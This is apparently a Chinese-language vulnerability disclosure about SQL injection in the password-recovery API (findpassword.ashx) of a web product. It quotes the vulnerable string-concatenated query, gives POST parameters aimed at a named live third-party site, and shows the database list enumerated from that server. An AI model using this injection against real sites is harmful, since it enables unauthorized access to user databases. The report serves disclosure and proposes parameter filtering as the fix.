不知道前面的大哥有提交了没有,下了免费版的来看。某个API存在注入的问题
Api/User/findpassword.ashx
var u_account = context.Request.Form["username"];
var find_type = context.Request.Form["findtype"];
var find_question = context.Request.Form["find_qus"];
var find_answer = context.Request.Form["find_answer"];
DataManage.UserEng ung = new DataManage.UserEng();
var _user_ = ung.GetItem(u_account);
u_account参数未过滤(就是username),直接带入到了ung.GetItem中:
public Apw_User GetItem(string account)
{
return this.dataserver.GetAll<Apw_User>("select * from Apw_User where u_Account='" + account.Trim() + "'").FirstOrDefault<Apw_User>();
}
拼接的字符串导致了POST+字符型注入的产生:
以 http://www.12wan.com/api/user/findpassword.ashx 为例(因为官方的站点我好像没找到用这个的……测试站也不知道是哪个)
POST数据:
posttype=find_pwd1&username=a&findtype=email&find_qus=%E4%BD%A0%E7%88%B6%E4%BA%B2%E7%9A%84%E5%90%8D%E5%AD%97&find_answer=
获取到数据库:
available databases [10]
[*] bbs
[*] cd2
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] v32
[*] xy003
其它就不深入了
修复方案:
过滤参数。